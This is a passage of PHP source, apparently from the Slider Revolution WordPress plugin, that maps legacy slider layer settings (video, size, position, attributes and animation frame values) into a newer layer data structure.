$this->get_val($video_data, 'end_at', '00:00'), 'forceRewind' => $this->_truefalse($this->get_val($video_data, 'forcerewind', true)), 'fullWidth' => $this->_truefalse($this->get_val($video_data, 'fullwidth', false)), 'id' => $this->get_val($video_data, 'id', $this->get_val($layer, 'video_id', '')), 'videoFromStream' => false, 'largeControls' => $this->_truefalse($this->get_val($video_data, 'large_controls', true)), 'leaveOnPause' => $this->_truefalse($this->get_val($video_data, 'leave_on_pause', true)), 'mute' => $this->_truefalse($this->get_val($video_data, 'mute', true)), 'nextSlideAtEnd' => $this->_truefalse($this->get_val($video_data, 'nextslide', true)), 'preload' => $this->get_val($video_data, 'preload', 'auto'), 'preloadAudio' => $this->get_val($video_data, 'preload_audio', 'metadata'), 'preloadWait' => $this->get_val($video_data, 'preload_wait', '0'), 'ratio' => $this->get_val($video_data, 'ratio', '16:9'), 'posterOnPause' => $this->_truefalse($this->get_val($video_data, 'show_cover_pause', false)), 'posterOnMobile' => $this->_truefalse($this->get_val($video_data, 'disable_on_mobile', false)), 'stopAllVideo' => $this->_truefalse($this->get_val($video_data, 'stopallvideo', true)), 'playInline' => $this->_truefalse($this->get_val($video_data, 'video_play_inline', true)), 'hideAudio' => true, 'speed' => $this->get_val($video_data, 'videospeed', 1), 'loop' => $this->get_val($video_data, 'videoloop', 'loopandnoslidestop'), 'volume' => $this->get_val($video_data, 'volume', '100'), ); break; case 'svg': case 'object': $ml['svg'] = array( 'source' => $this->get_val($svg, 'src', ''), 'renderedData' => $this->get_val($svg, 'renderedData', ''), ); break; } if($this->get_val($layer, 'type') === 'video'){ if($this->get_val($video_data, 'fullwidth')){ $layer['cover_mode'] = 'cover-proportional'; } if($this->get_val($video_data, 'cover')){ $layer['basealign'] = 'slide'; } } // needed to make sure 'fa-icon' gets converted for toggle content $ml['toggle'] = array( 'set' => $this->_truefalse($this->get_val($layer, 'toggle', false)), 'text' => $toggleText, //'inverse' => $this->_truefalse($this->get_val($layer, 'toggle_inverse_content', false)), 'useHover' => $this->_truefalse($this->get_val($layer, 'toggle_use_hover', false)), ); $ww = $this->get_val($layer, 'width'); $hh = $this->get_val($layer, 'height'); $minHH = 'none'; switch($this->get_val($layer, 'type')){ case 'image': if($this->get_val($layer, 'scaleX', false) !== false){ $ww = $this->get_val($layer, 'scaleX'); $hh = $this->get_val($layer, 'scaleY'); //check if we need to get image dimensions $_img_d = array($ww, $hh); $get_dim = false; foreach($_img_d as $img_d){ if(empty($img_d)){ $get_dim = true; }else{ if(!is_array($img_d)) continue; foreach($img_d as $_d => $_v){ if(!empty($_v)) continue; $get_dim = true; break; } } if($get_dim === true) break; } if($get_dim === true){ $ow = ''; $oh = ''; $cur_img = $this->get_val($ml, array('media', 'imageUrl')); if($cur_img !== ''){ $cur_id = $this->get_image_id_by_url($cur_img); $img_data = wp_get_attachment_metadata($cur_id); if($img_data !== false && !empty($img_data)){ $this->set_val($ml, array('media', 'imageId'), $cur_id); $img_size = ($this->get_val($layer, 'image-size', 'auto') === 'auto') ? $slider->get_param('def-image_source_type', 'full') : 'full'; if($img_size !== 'full'){ if(isset($img_data['sizes']) && isset($img_data['sizes'][$img_size])){ $ow = (isset($img_data['sizes'][$img_size]['width'])) ? $img_data['sizes'][$img_size]['width'] : ''; $oh = (isset($img_data['sizes'][$img_size]['height'])) ? $img_data['sizes'][$img_size]['height'] : ''; } } if($ow == '' || $oh == ''){ $ow = (isset($img_data['width'])) ? $img_data['width'] : ''; $oh = (isset($img_data['height'])) ? $img_data['height'] : ''; } }else{ $ow = $this->get_val($layer, 'width'); $oh = $this->get_val($layer, 'height'); } if(empty($ww)){ $ww = $ow; }else{ if(is_array($ww)){ foreach($ww as $_d => $_v){ if(empty($_v)){ $ww[$_d] = $ow; } } } } if(empty($hh)){ $hh = $oh; }else{ if(is_array($hh)){ foreach($hh as $_d => $_v){ if(empty($_v)){ $hh[$_d] = $oh; } } } } } } } break; case 'video': if($this->get_val($layer, 'video_height', false) !== false){ $ww = $this->get_val($layer, 'video_width'); $hh = $this->get_val($layer, 'video_height'); } break; case 'svg': if($this->get_val($layer, 'max_height', false) !== false){ $ww = $this->get_val($layer, 'max_width'); $hh = $this->get_val($layer, 'max_height'); } break; case 'shape': case 'button': case 'text': case 'group': if($this->get_val($layer, 'max_height', false) !== false){ $ww = $this->get_val($layer, 'max_width'); $hh = $this->get_val($layer, 'max_height'); }else{ $ww = 'auto'; $hh = 'auto'; } break; } //$layer['cover_mode'] = (!in_array($this->get_val($layer, 'type'), array('image', 'video'))) ? 'custom' : $this->get_val($layer, 'cover_mode'); //'shape', switch($this->get_val($layer, 'cover_mode')){ case 'cover': case 'cover-proportional': $ww = '100%'; $hh = '100%'; break; case 'fullheight': $hh = '100%'; break; case 'fullwidth': $ww = '100%'; break; } if($this->get_val($layer, 'type') === 'row'){ if($hh !== 'auto' && $hh != '-1' && $hh !== '32'){ $minHH = $hh; } if($this->get_val($layer, 'max_height', false) !== false){ $minHH = $layer['max_height']; } $hh = 'auto'; } $defwidth = (!in_array($this->get_val($layer, 'type'), array('image', 'shape', 'video'))) ? 'auto' : '300'; $defheight = (!in_array($this->get_val($layer, 'type'), array('image', 'shape', 'video'))) ? 'auto' : '180'; $defproportion = (in_array($this->get_val($layer, 'type'), array('svg', 'image', 'video'))) ? true : false; $defaspectrat = (!in_array($this->get_val($layer, 'type'), array('image', 'shape', 'video'))) ? 'none' : 300/180; /** * width and height values should not * later be replaced with the default if they are empty * so we make sure that empty strings are filled here **/ if(is_array($ww)){ $wd = $defwidth; foreach($ww as $wk => $wv){ if(empty($wv)){ $ww[$wk] = $wd; } $wd = $ww[$wk]; } } if(is_array($hh)){ $hd = $defwidth; foreach($hh as $hk => $hv){ if(empty($hv)){ $hh[$hk] = $hd; } $hd = $hh[$hk]; } } $ml['size'] = array( 'width' => $this->c_to_resp(array('default' => $defwidth, 'val' => $ww)), 'height' => $this->c_to_resp(array('default' => $defheight, 'val' => $hh)), 'maxWidth' => $this->c_to_resp(array('default' => 'none', 'val' => 'none')), 'maxHeight' => $this->c_to_resp(array('default' => 'none', 'val' => 'none')), 'minWidth' => $this->c_to_resp(array('default' => 'none', 'val' => 'none')), 'minHeight' => $this->c_to_resp(array('default' => 'none', 'val' => $minHH)), 'originalWidth' => ($this->get_val($layer, 'type') == 'video') ? $this->get_val($video_data, 'video_width', false) : $this->get_val($layer, 'originalWidth', false), 'originalHeight' => ($this->get_val($layer, 'type') == 'video') ? $this->get_val($video_data, 'video_height', false) : $this->get_val($layer, 'originalHeight', false), 'covermode' => $this->get_val($layer, 'cover_mode', 'custom'), 'scaleProportional' => $this->_truefalse($this->get_val($layer, 'scaleProportional', $defproportion)), ); $ml['size']['aspectRatio'] = (intval($ml['size']['originalWidth']) > 0 && intval($ml['size']['originalHeight']) > 0) ? $this->c_to_resp(array('default' => $defaspectrat, 'val' => intval($ml['size']['originalWidth']) / intval($ml['size']['originalHeight']))) : $this->c_to_resp(array('default' => $defaspectrat, 'val' => $defaspectrat)); if($ml['size']['originalWidth'] === false){ unset($ml['size']['originalWidth']); } if($ml['size']['originalHeight'] === false){ unset($ml['size']['originalHeight']); } if($this->get_val($layer, 'type') === 'svg'){ $ml['size']['scaleProportional'] = true; } if(!in_array($ml['size']['scaleProportional'], array(true, false), true)){ if(in_array($this->get_val($layer, 'type'), array('svg', 'image', 'video'), true)){ $ml['size']['scaleProportional'] = true; }else{ $ml['size']['scaleProportional'] = false; } } if($this->get_val($ml, array('size', 'originalWidth'), 0) === 0){ $ml['size']['originalWidth'] = $this->get_val($ml, array('size', 'width', 'd', 'v')); } if($this->get_val($ml, array('size', 'originalHeight'), 0) === 0){ $ml['size']['originalHeight'] = $this->get_val($ml, array('size', 'height', 'd', 'v')); } $ml['position'] = array( 'x' => $this->c_to_resp(array('default' => 0, 'val' => $this->get_val($layer, 'left', 0), 'unit' => 'px'), true), 'y' => $this->c_to_resp(array('default' => 0, 'val' => $this->get_val($layer, 'top', 0), 'unit' => 'px'), true), 'horizontal' => $this->c_to_resp(array('default' => 'left', 'val' => $this->get_val($layer, 'align_hor'))), 'vertical' => $this->c_to_resp(array('default' => 'top', 'val' => $this->get_val($layer, 'align_vert'))), //'zIndex' => (trim($this->get_val($layer, 'zIndex', '')) === '') ? $this->get_val($layer, 'serial', '##') : $this->get_val($layer, 'zIndex', false), 'zIndex' => (trim($this->get_val($layer, 'zIndex', '')) === '') ? $this->z_index : $this->get_val($layer, 'zIndex', false), 'position' => $this->get_val($layer, 'css-position', 'absolute'), ); $ml['attributes'] = array( 'alt' => $this->get_val($layer, 'alt', ''), 'altOption' => $this->get_val($layer, 'alt_option', 'media_library'), 'id' => $this->get_val($layer, 'attrID', ''), 'classes' => $this->get_val($layer, 'attrClasses', ''), 'rel' => $this->get_val($layer, 'attrRel', ''), 'tabIndex' => $this->get_val($layer, 'attrTabindex', 0), 'title' => $this->get_val($layer, 'attrTitle', ''), 'wrapperClasses' => $this->get_val($layer, 'attrWrapperClasses', ''), 'wrapperId' => $this->get_val($layer, 'attrWrapperID', ''), ); $base_align = $this->get_val($layer, 'basealign', 'grid'); if($this->get_val($layer, 'p_uid', -1) == -1){ //only on layers that are not in row/group/column if(in_array($this->get_val($layer, 'type'), array('image', 'shape', 'text'), true)){ $mmw = $this->get_val($ml, array('size', 'width')); if($this->get_val($mmw, array('d', 'v')) === '100%' || $this->get_val($mmw, array('n', 'v')) === '100%' || $this->get_val($mmw, array('t', 'v')) === '100%' || $this->get_val($mmw, array('m', 'v')) === '100%' ){ if($this->get_val($ml, array('size', 'covermode')) === 'custom'){ $base_align = 'slide'; } } } } $ml['behavior'] = array( 'autoResponsive' => $this->_truefalse($this->get_val($layer, 'resize-full', true)), 'intelligentInherit' => false, 'responsiveChilds' => $this->_truefalse($this->get_val($layer, 'resizeme', true)), 'baseAlign' => $base_align, 'responsiveOffset' => $this->_truefalse($this->get_val($layer, 'responsive_offset', true)), 'lazyLoad' => $this->get_val($layer, 'lazy-load', 'auto'), 'imageSourceType' => $this->get_val($layer, 'image-size', 'auto'), ); if($this->get_val($layer, 'groupOrder', -99) === -99){ if($this->get_val($layer, 'zIndex', -99) === -99){ $groupOrder = $this->get_val($layer, 'serial', -99); }else{ $groupOrder = $this->get_val($layer, 'zIndex', -99); } }else{ $groupOrder = $this->get_val($layer, 'groupOrder', -99); } $column_size = $this->get_val($layer, 'column_size', '1/3'); $ml['group'] = array( 'puid' => $this->get_val($layer, 'p_uid', -1), 'groupOrder' => $groupOrder, 'columnbreakat' => $this->get_val($layer, 'column_break_at', 'tablet'), 'columnSize' => (in_array($column_size, array(1, '1'), true)) ? '1/1' : $column_size ); $align_vert = $this->get_val($layer, 'align_vert', array()); if($this->get_val($layer, 'type') === 'row'){ $ml['group']['puid'] = $this->get_val($align_vert, 'desktop', 'top'); //get the deskop value } $split = ($this->get_val($layer, 'frames', false) === false) ? $this->get_val($layer, 'split', 'none') : $this->get_val($frame_0, 'split', 'none'); $endsplit = ($this->get_val($layer, 'frames', false) === false) ? $this->get_val($layer, 'endsplit', 'none') : $this->get_val($frame_999, 'split', 'none'); //Define an Empty Timeline Object First. /** * old fix for slider under version 530 **/ $end_time = trim($this->get_val($frame_999, 'time', $this->get_val($layer, 'endtime', 0))); $version = $this->get_val($layer, 'version', false); if($version === false || intval($version) < 530){ //an additional check that we may not need, as checking if frame_999 is empty is already enough if(empty($frame_999)){ $ret = $this->get_val($layer, 'realEndTime', false); if($ret !== false){ $end_speed = trim($this->get_val($layer, 'endspeed')); $end_time_relative = $this->get_val($layer, 'endtimedelay', 'none'); if($end_time_relative !== 'none'){ $end_time = ($end_time !== $end_time_relative) ? '+'.$end_time_relative : $end_time_relative; } $calc_speed = (!empty($end_speed)) ? $end_speed : $this->get_val($frame_0, 'speed', $this->get_val($layer, 'speed', 300)); if(!empty($calc_speed) && $ret - $calc_speed !== $end_time){ $end_time = $ret - $calc_speed; } } //endtime - endspeed $end_speed = $this->get_val($layer, 'endspeed', 0); $end_time = (!empty($end_time) && $end_time - $end_speed < 0) ? 0 : $end_time - $end_speed; } } /** * check if the value is inherit, if yes, take the one from deformation **/ $fr_0 = array( 'rotationX' => ($this->get_val($layer, 'x_rotate_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'xrotate')) : $this->conv_perc_vals($this->get_val($layer, 'x_rotate_start')), 'rotationY' => ($this->get_val($layer, 'y_rotate_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'yrotate')) : $this->conv_perc_vals($this->get_val($layer, 'y_rotate_start')), 'rotationZ' => ($this->get_val($layer, 'z_rotate_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($layer, '2d_rotation')) : $this->conv_perc_vals($this->get_val($layer, 'z_rotate_start')), 'scaleX' => ($this->get_val($layer, 'scale_x_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'scalex')) : $this->conv_perc_vals($this->get_val($layer, 'scale_x_start')), 'scaleY' => ($this->get_val($layer, 'scale_y_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'scaley')) : $this->conv_perc_vals($this->get_val($layer, 'scale_y_start')), 'skewX' => ($this->get_val($layer, 'skew_x_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'skewx')) : $this->conv_perc_vals($this->get_val($layer, 'skew_x_start')), 'skewY' => ($this->get_val($layer, 'skew_y_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'skewy')) : $this->conv_perc_vals($this->get_val($layer, 'skew_y_start')), 'opacity' => ($this->get_val($layer, 'opacity_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'opacity')) : $this->conv_perc_vals($this->get_val($layer, 'opacity_start')), 'z' => ($this->get_val($layer, 'z_start') === 'inherit') ? $this->conv_perc_vals($this->get_val($deformation, 'z')) : $this->conv_perc_vals($this->get_val($layer, 'z_start')), 'blur' => ($this->get_val($layer, 'blurfilter_start', 0) === 'inherit') ? $this->get_val($deformation, 'blurfilter') : $this->get_val($layer, 'blurfilter_start', 0), 'grayscale' => ($this->get_val($layer, 'grayscalefilter_start', 0) === 'inherit') ? $this->get_val($deformation, 'grayscalefilter') : $this->get_val($layer, 'grayscalefilter_start', 0), 'brightness'=> ($this->get_val($layer, 'brightnessfilter_start', 100) === 'inherit') ? $this->get_val($deformation, 'brightnessfilter') : $this->get_val($layer, 'brightnessfilter_start', 100) ); $ml['timeline'] = array( 'frameOrder' => array( array( 'id' => 'frame_1', 'start' => (empty($frames)) ? $this->get_val($layer, 'time') : $this->get_val($frame_0, 'time'), ), array( 'id' => 'frame_999', 'start' => (empty($frames)) ? $this->get_val($layer, 'endtime') : $this->get_val($frame_999, 'time'), ), ), 'frameToIdle' => 'frame_1', 'frames' => array( 'frame_0' => $this->default_frame( array( 'fid' => 'frame_0', 'alias' => __('Anim From', 'revslider'), 'grayscale' => $this->get_val($fr_0, 'grayscale', 0), 'transformPerspective' => $this->get_val($deformation, 'pers'), 'brightness' => $this->get_val($fr_0, 'brightness', 100), 'blur' => $this->get_val($fr_0, 'blur', 0), 'x' => (!in_array($split, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'x_start')), 'y' => (!in_array($split, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'y_start')), 'z' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'z'), 'scaleX' => (!in_array($split, array('', 'none'))) ? 1 : $this->get_val($fr_0, 'scaleX'), 'scaleY' => (!in_array($split, array('', 'none'))) ? 1 : $this->get_val($fr_0, 'scaleY'), 'opacity' => (!in_array($split, array('', 'none'))) ? 1 : $this->get_val($fr_0, 'opacity'), 'rotationX' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'rotationX'), 'rotationY' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'rotationY'), 'rotationZ' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'rotationZ'), 'skewX' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'skewX'), 'skewY' => (!in_array($split, array('', 'none'))) ? 0 : $this->get_val($fr_0, 'skewY'), 'originX' => $this->get_val($deformation, '2d_origin_x', '50%'), 'originY' => $this->get_val($deformation, '2d_origin_y', '50%'), 'rx' => $this->conv_perc_vals($this->get_val($layer, 'x_start_reverse', false)), 'ry' => $this->conv_perc_vals($this->get_val($layer, 'y_start_reverse', false)), 'rz' => $this->conv_perc_vals($this->get_val($layer, 'z_start_reverse')), 'rscaleX' => $this->conv_perc_vals($this->get_val($layer, 'scale_x_start_reverse')), 'rscaleY' => $this->conv_perc_vals($this->get_val($layer, 'scale_y_start_reverse')), 'rrotationX' => $this->conv_perc_vals($this->get_val($layer, 'x_rotate_start_reverse', false)), 'rrotationY' => $this->conv_perc_vals($this->get_val($layer, 'y_rotate_start_reverse', false)), 'rrotationZ' => $this->conv_perc_vals($this->get_val($layer, 'z_rotate_start_reverse', false)), 'rskewX' => $this->conv_perc_vals($this->get_val($layer, 'skew_x_start_reverse', false)), 'rskewY' => $this->conv_perc_vals($this->get_val($layer, 'skew_y_start_reverse', false)), 'rmaskX' => $this->conv_perc_vals($this->get_val($layer, 'mask_x_start_reverse', false)), 'rmaskY' => $this->conv_perc_vals($this->get_val($layer, 'mask_y_start_reverse', false)), 'color' => array( 'color' => (empty($frame_0)) ? '' : $this->get_val($frame_0, 'text_c', '#ffffff'), 'use' => (empty($frame_0)) ? false : $this->get_val($frame_0, 'use_text_c'), ), 'bgcolor' => array( 'backgroundColor' => $this->get_val($frame_0, 'bg_c', 'transparent'), 'use' => (empty($frame_0)) ? false : $this->get_val($frame_0, 'use_bg_c'), ), //'delay' => (empty($frame_0)) ? 0 : $this->get_val($frame_0, 'delay'), 'ease' => (empty($frame_0)) ? $this->get_val($layer, 'easing', 'power3.inOut') : $this->get_val($frame_0, 'easing', 'power3.inOut'), 'speed' => (empty($frame_0)) ? $this->get_val($layer, 'speed', 300) : $this->get_val($frame_0, 'speed', 300), 'start' => (empty($frame_0)) ? $this->get_val($layer, 'time') : $this->get_val($frame_0, 'time'), 'startRelative' => $this->get_val($frame_0, 'time_relative', 0), 'effect' => (empty($frame_0)) ? '' : $this->get_val($frame_0, 'sfx_effect'), 'sfxcolor' => $color_picker->correctValue($this->get_val($frame_0, 'sfxcolor', '#ffffff')), 'mask' => array( 'use' => $this->_truefalse($this->get_val($layer, 'mask_start', false)), 'x' => $this->conv_perc_vals($this->get_val($layer, 'mask_x_start', 0)), 'y' => $this->conv_perc_vals($this->get_val($layer, 'mask_y_start', 0)), ), 'chars' => array( 'use' => ($split === 'chars') ? true : false, 'direction' => $this->get_val($frame_0, 'split_direction', 'forward'), 'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5), 'x' => ($split === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'x_start')) : 'inherit', 'y' => ($split === 'chars') ? $this->conv_perc_vals($this->get_val($layer, 'y_start')) : 'inherit', 'z' => ($split === 'chars') ? $this->get_val($fr_0, 'z') : 'inherit', 'scaleX' => ($split === 'chars') ? $this->get_val($fr_0, 'scaleX') : 'inherit', 'scaleY' => ($split === 'chars') ? $this->get_val($fr_0, 'scaleY') : 'inherit', 'opacity' => ($split === 'chars') ? $this->get_val($fr_0, 'opacity') : 'inherit', 'rotationX' => ($split === 'chars') ? $this->get_val($fr_0, 'rotationX') : 'inherit', 'rotationY' => ($split === 'chars') ? $this->get_val($fr_0, 'rotationY') : 'inherit', 'rotationZ' => ($split === 'chars') ? $this->get_val($fr_0, 'rotationZ') : 'inherit', 'skewX' => ($split === 'chars') ? $this->get_val($fr_0, 'skewX') : 'inherit', 'skewY' => ($split === 'chars') ? $this->get_val($fr_0, 'skewY') : 'inherit', ), 'words' => array( 'use' => ($split === 'words') ? true : false, 'direction' => $this->get_val($frame_0, 'split_direction', 'forward'), 'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5), 'x' => ($split === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'x_start')) : 'inherit', 'y' => ($split === 'words') ? $this->conv_perc_vals($this->get_val($layer, 'y_start')) : 'inherit', 'z' => ($split === 'words') ? $this->get_val($fr_0, 'z') : 'inherit', 'scaleX' => ($split === 'words') ? $this->get_val($fr_0, 'scaleX') : 'inherit', 'scaleY' => ($split === 'words') ? $this->get_val($fr_0, 'scaleY') : 'inherit', 'opacity' => ($split === 'words') ? $this->get_val($fr_0, 'opacity') : 'inherit', 'rotationX' => ($split === 'words') ? $this->get_val($fr_0, 'rotationX') : 'inherit', 'rotationY' => ($split === 'words') ? $this->get_val($fr_0, 'rotationY') : 'inherit', 'rotationZ' => ($split === 'words') ? $this->get_val($fr_0, 'rotationZ') : 'inherit', 'skewX' => ($split === 'words') ? $this->get_val($fr_0, 'skewX') : 'inherit', 'skewY' => ($split === 'words') ? $this->get_val($fr_0, 'skewY') : 'inherit', ), 'lines' => array( 'use' => ($split === 'lines') ? true : false, 'direction' => $this->get_val($frame_0, 'split_direction', 'forward'), 'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5), 'x' => ($split === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'x_start')) : 'inherit', 'y' => ($split === 'lines') ? $this->conv_perc_vals($this->get_val($layer, 'y_start')) : 'inherit', 'z' => ($split === 'lines') ? $this->get_val($fr_0, 'z') : 'inherit', 'scaleX' => ($split === 'lines') ? $this->get_val($fr_0, 'scaleX') : 'inherit', 'scaleY' => ($split === 'lines') ? $this->get_val($fr_0, 'scaleY') : 'inherit', 'opacity' => ($split === 'lines') ? $this->get_val($fr_0, 'opacity') : 'inherit', 'rotationX' => ($split === 'lines') ? $this->get_val($fr_0, 'rotationX') : 'inherit', 'rotationY' => ($split === 'lines') ? $this->get_val($fr_0, 'rotationY') : 'inherit', 'rotationZ' => ($split === 'lines') ? $this->get_val($fr_0, 'rotationZ') : 'inherit', 'skewX' => ($split === 'lines') ? $this->get_val($fr_0, 'skewX') : 'inherit', 'skewY' => ($split === 'lines') ? $this->get_val($fr_0, 'skewY') : 'inherit', ), )/*, $_f['0']*/ ), 'frame_1' => $this->default_frame( array( 'fid' => 'frame_1', 'alias' => __('Anim To', 'revslider'), 'actionTriggered' => false, 'transformPerspective' => $this->get_val($deformation, 'pers'), 'grayscale' => $this->get_val($deformation, 'grayscalefilter', 0), 'brightness' => $this->get_val($deformation, 'brightnessfilter', 100), 'blur' => $this->get_val($deformation, 'blurfilter', 0), 'x' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'x'), 'y' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'y'), 'z' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'z'), 'opacity' => ($split !== 'none') ? 1 : $this->get_val($deformation, 'opacity'), 'originX' => $this->get_val($deformation, '2d_origin_x', '50%'), 'originY' => $this->get_val($deformation, '2d_origin_y', '50%'), 'rotationZ' => ($split !== 'none') ? 0 : $this->get_val($layer, '2d_rotation'), 'rotationX' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'xrotate'), 'rotationY' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'yrotate'), 'scaleX' => ($split !== 'none') ? 1 : $this->get_val($deformation, 'scalex'), 'scaleY' => ($split !== 'none') ? 1 : $this->get_val($deformation, 'scaley'), 'skewX' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'skewx'), 'skewY' => ($split !== 'none') ? 0 : $this->get_val($deformation, 'skewy'), //'delay' => (empty($frame_0)) ? 0 : $this->get_val($frame_0, 'delay'), 'ease' => (empty($frame_0)) ? $this->get_val($layer, 'easing', 'power3.inOut') : $this->get_val($frame_0, 'easing', 'power3.inOut'), 'speed' => (empty($frame_0)) ? $this->get_val($layer, 'speed', 300) : $this->get_val($frame_0, 'speed', 300), 'start' => (empty($frame_0)) ? $this->get_val($layer, 'time') : $this->get_val($frame_0, 'time', 10), 'startRelative' => $this->get_val($frame_0, 'time_relative', 0), 'effect' => (empty($frame_0)) ? '' : $this->get_val($frame_0, 'sfx_effect'), 'sfxcolor' => $color_picker->correctValue($this->get_val($frame_0, 'sfxcolor', '#ffffff')), 'mask' => array( 'use' => $this->_truefalse($this->get_val($layer, 'mask_start', false)), 'x' => 0, 'y' => 0, ), 'chars' => array( 'use' => ($split === 'chars') ? true : false, 'direction' => $this->get_val($frame_0, 'split_direction', 'forward'), 'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5), 'x' => 0, 'y' => 0, 'z' => 0, 'opacity' => 1, 'rotationZ' => 0, 'rotationX' => 0, 'rotationY' => 0, 'scaleX' => 1, 'scaleY' => 1, 'skewX' => 0, 'skewY' => 0, ), 'words' => array( 'use' => ($split === 'words') ? true : false, 'direction' => $this->get_val($frame_0, 'split_direction', 'forward'), 'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5), 'x' => 0, 'y' => 0, 'z' => 0, 'opacity' => 1, 'rotationZ' => 0, 'rotationX' => 0, 'rotationY' => 0, 'scaleX' => 1, 'scaleY' => 1, 'skewX' => 0, 'skewY' => 0, ), 'lines' => array( 'use' => ($split === 'lines') ? true : false, 'direction' => $this->get_val($frame_0, 'split_direction', 'forward'), 'delay' => (empty($frame_0)) ? $this->get_val($layer, 'splitdelay', 5) : $this->get_val($frame_0, 'splitdelay', 5), 'x' => 0, 'y' => 0, 'z' => 0, 'opacity' => 1, 'rotationZ' => 0, 'rotationX' => 0, 'rotationY' => 0, 'scaleX' => 1, 'scaleY' => 1, 'skewX' => 0, 'skewY' => 0, ), )/*, $_f['1']*/ ), 'frame_999' => $this->default_frame( array( 'fid' => 'frame_999', 'alias' => __('Anim To', 'revslider'), 'animation' => $this->get_val($frame_999, 'animation', $this->get_val($layer, 'endanimation', false)), 'actionTriggered' => false, 'transformPerspective' => $this->get_val($deformation, 'pers'), 'endWithSlide' => $this->get_val($layer, 'endWithSlide', false), 'grayscale' => $this->get_val($layer, 'grayscalefilter_end', 0), 'brightness' => $this->get_val($layer, 'brightnessfilter_end', 100), 'blur' => $this->get_val($layer, 'blurfilter_end', 0), 'x' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'x_end')), 'y' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'y_end')), 'z' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'z_end')), 'scaleX' => (!in_array($endsplit, array('', 'none'))) ? 1 : $this->conv_perc_vals($this->get_val($layer, 'scale_x_end')), 'scaleY' => (!in_array($endsplit, array('', 'none'))) ? 1 : $this->conv_perc_vals($this->get_val($layer, 'scale_y_end')), 'opacity' => (!in_array($endsplit, array('', 'none'))) ? 1 : $this->conv_perc_vals($this->get_val($layer, 'opacity_end')), 'rotationX' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end')), 'rotationY' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end')), 'rotationZ' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end')), 'skewX' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'skew_x_end')), 'skewY' => (!in_array($endsplit, array('', 'none'))) ? 0 : $this->conv_perc_vals($this->get_val($layer, 'skew_y_end')), 'rx' => $this->conv_perc_vals($this->get_val($layer, 'x_end_reverse', false)), 'ry' => $this->conv_perc_vals($this->get_val($layer, 'y_end_reverse', false)), 'rz' => $this->conv_perc_vals($this->get_val($layer, 'z_end_reverse')), 'rscaleX' => $this->conv_perc_vals($this->get_val($layer, 'scale_x_end_reverse')), 'rscaleY' => $this->conv_perc_vals($this->get_val($layer, 'scale_y_end_reverse')), 'rrotationX' => $this->conv_perc_vals($this->get_val($layer, 'x_rotate_end_reverse', false)), 'rrotationY' => $this->conv_perc_vals($this->get_val($layer, 'y_rotate_end_reverse', false)), 'rrotationZ' => $this->conv_perc_vals($this->get_val($layer, 'z_rotate_end_reverse', false)), 'rskewX' => $this->conv_perc_vals($this->get_val($layer, 'skew_x_end_reverse', false)), 'rskewY' => $this->conv_perc_vals($this->get_val($layer, 'skew_y_end_reverse', false)), 'rmaskX' => $this->conv_perc_vals($this->get_val($layer, 'mask_x_end_reverse', false)), 'rmaskY' => $this->conv_perc_vals($this->get_val($layer, 'mask_y_end_reverse', false)), 'color' => array( 'color' => $this->get_val($frame_999, 'text_c', '#ffffff'), 'use' => (empty($frame_999)) ? false : ($this->get_val($frame_999, 'use_text_c') === true), ), 'bgcolor' => array( 'backgroundColor' => $this->get_val($frame_999, 'bg_c', 'transparent'), 'use' => (empty($frame_999)) ? false : ($this->get_val($frame_999, 'use_bg_c') === true), ), 'ease' => (empty($frame_999)) ? $this->get_val($layer, 'endeasing', 'power3.inOut') : $this->get_val($frame_999, 'easing', 'power3.inOut'), 'speed' => (empty($frame_999)) ? $this->get_val($layer, 'endspeed', 300) : $this->get_val($frame_999, 'speed', 300), 'start' => (empty($frame_999)) ? $end_time : $this->get_val($frame_999, 'time'), //$this->get_val($layer, 'endtime') 'startRelative' => $this->get_val($frame_999, 'time_relative', 0), 'effect' => (empty($frame_999)) ? '' : $this->get_val($frame_999, 'sfx_effect'), 